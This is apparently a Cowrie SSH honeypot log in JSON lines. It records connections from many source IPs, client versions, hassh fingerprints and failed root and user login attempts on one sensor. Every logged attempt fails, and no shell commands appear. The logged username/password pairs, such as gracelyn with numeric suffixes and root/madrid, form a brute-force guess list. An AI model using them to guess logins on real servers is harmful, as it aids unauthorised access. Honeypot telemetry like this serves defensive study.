{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:be:51:db:c1:30:ce:df:e3:8e:cb:b1:45:1b:69:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5S2iqQ2w9w1aRbvNt9SC0PZ6LEh/pl2JiOpIiAwEBq/yABboZx8DWMua8m5Q03YTqV6/vzDD9+7Dz3Hp6IM8iuMz0hHbQR0EOP/QVfr4HexfnLOgRvMt2KckBIoTL21JAI+lzhd173c/AZMAnKF0mL117PWm3iQz3oPfPoA/GxJbmLY0cLDHVdl4NudO2PHVYyhThm8GYPGZ1xJMZN0/wauQ0241jgfXIDZkun9cwtERlmGT7G9UAcxaynNRCuP90j6v6w5rwZhh4k+jTDo130zseZzOUUpSUBOSPushA+y1ypIffRyJQ8W395LEg6W0BVuaCzAaeD3Cj/jumLbACw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.677782Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.707379Z","src_ip":"158.69.227.40","session":"ac9138edf86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:02.796719Z","src_ip":"80.94.92.186","session":"75f6805b866a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":45752,"dst_ip":"10.17.0.5","dst_port":22,"session":"3162de8ba1f6","protocol":"ssh","message":"New connection: 40.117.97.0:45752 (10.17.0.5:22) [session: 3162de8ba1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:03.077438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:03.085265Z","src_ip":"40.117.97.0","session":"3162de8ba1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:03.098165Z","src_ip":"40.117.97.0","session":"3162de8ba1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@","message":"login attempt [root/abcd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:03.189115Z","src_ip":"40.117.97.0","session":"3162de8ba1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:03.799021Z","src_ip":"80.94.92.186","session":"75f6805b866a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:04.204905Z","src_ip":"40.117.97.0","session":"3162de8ba1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:05.052231Z","src_ip":"80.94.92.186","session":"75f6805b866a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":29476,"dst_ip":"10.17.0.5","dst_port":22,"session":"76dbca419406","protocol":"ssh","message":"New connection: 182.253.79.194:29476 (10.17.0.5:22) [session: 76dbca419406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:08.268960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:08.274740Z","src_ip":"182.253.79.194","session":"76dbca419406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:08.532513Z","src_ip":"182.253.79.194","session":"76dbca419406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avinash","password":"avinash","message":"login attempt [avinash/avinash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:09.585953Z","src_ip":"182.253.79.194","session":"76dbca419406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:10.847418Z","src_ip":"182.253.79.194","session":"76dbca419406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":21026,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e26e3cc1cd","protocol":"ssh","message":"New connection: 213.209.159.56:21026 (10.17.0.5:22) [session: 02e26e3cc1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:18.173621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:18.178904Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:18.261406Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn","message":"login attempt [gracelyn/gracelyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:18.663535Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn1","message":"login attempt [gracelyn/gracelyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:19.769780Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn123","message":"login attempt [gracelyn/gracelyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:20.855690Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn1234","message":"login attempt [gracelyn/gracelyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:21.941326Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn12345","message":"login attempt [gracelyn/gracelyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:23.027157Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:24.113469Z","src_ip":"213.209.159.56","session":"02e26e3cc1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":44892,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4414428985","protocol":"ssh","message":"New connection: 62.133.62.83:44892 (10.17.0.5:22) [session: ad4414428985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:25.774945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:25.780535Z","src_ip":"62.133.62.83","session":"ad4414428985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:25.872226Z","src_ip":"62.133.62.83","session":"ad4414428985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury","message":"login attempt [root/mercury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:26.114596Z","src_ip":"62.133.62.83","session":"ad4414428985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:27.200717Z","src_ip":"62.133.62.83","session":"ad4414428985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":46832,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bb653030b0","protocol":"ssh","message":"New connection: 115.91.48.142:46832 (10.17.0.5:22) [session: 27bb653030b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:34.271053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:34.275775Z","src_ip":"115.91.48.142","session":"27bb653030b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:34.482078Z","src_ip":"115.91.48.142","session":"27bb653030b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rolando","password":"rolando","message":"login attempt [rolando/rolando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:35.338929Z","src_ip":"115.91.48.142","session":"27bb653030b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:36.549319Z","src_ip":"115.91.48.142","session":"27bb653030b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26434,"dst_ip":"10.17.0.5","dst_port":22,"session":"9987302c914f","protocol":"ssh","message":"New connection: 38.93.206.2:26434 (10.17.0.5:22) [session: 9987302c914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:44.983149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:44.987860Z","src_ip":"38.93.206.2","session":"9987302c914f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:45.040556Z","src_ip":"38.93.206.2","session":"9987302c914f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madrid","message":"login attempt [root/madrid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:45.197459Z","src_ip":"38.93.206.2","session":"9987302c914f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:46.250770Z","src_ip":"38.93.206.2","session":"9987302c914f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58172,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5ad6cfc4f7","protocol":"ssh","message":"New connection: 147.45.197.250:58172 (10.17.0.5:22) [session: cc5ad6cfc4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:50.696461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:50.701401Z","src_ip":"147.45.197.250","session":"cc5ad6cfc4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:50.791759Z","src_ip":"147.45.197.250","session":"cc5ad6cfc4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789987","message":"login attempt [root/789987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:49:51.060961Z","src_ip":"147.45.197.250","session":"cc5ad6cfc4f7","protocol":"ssh"}
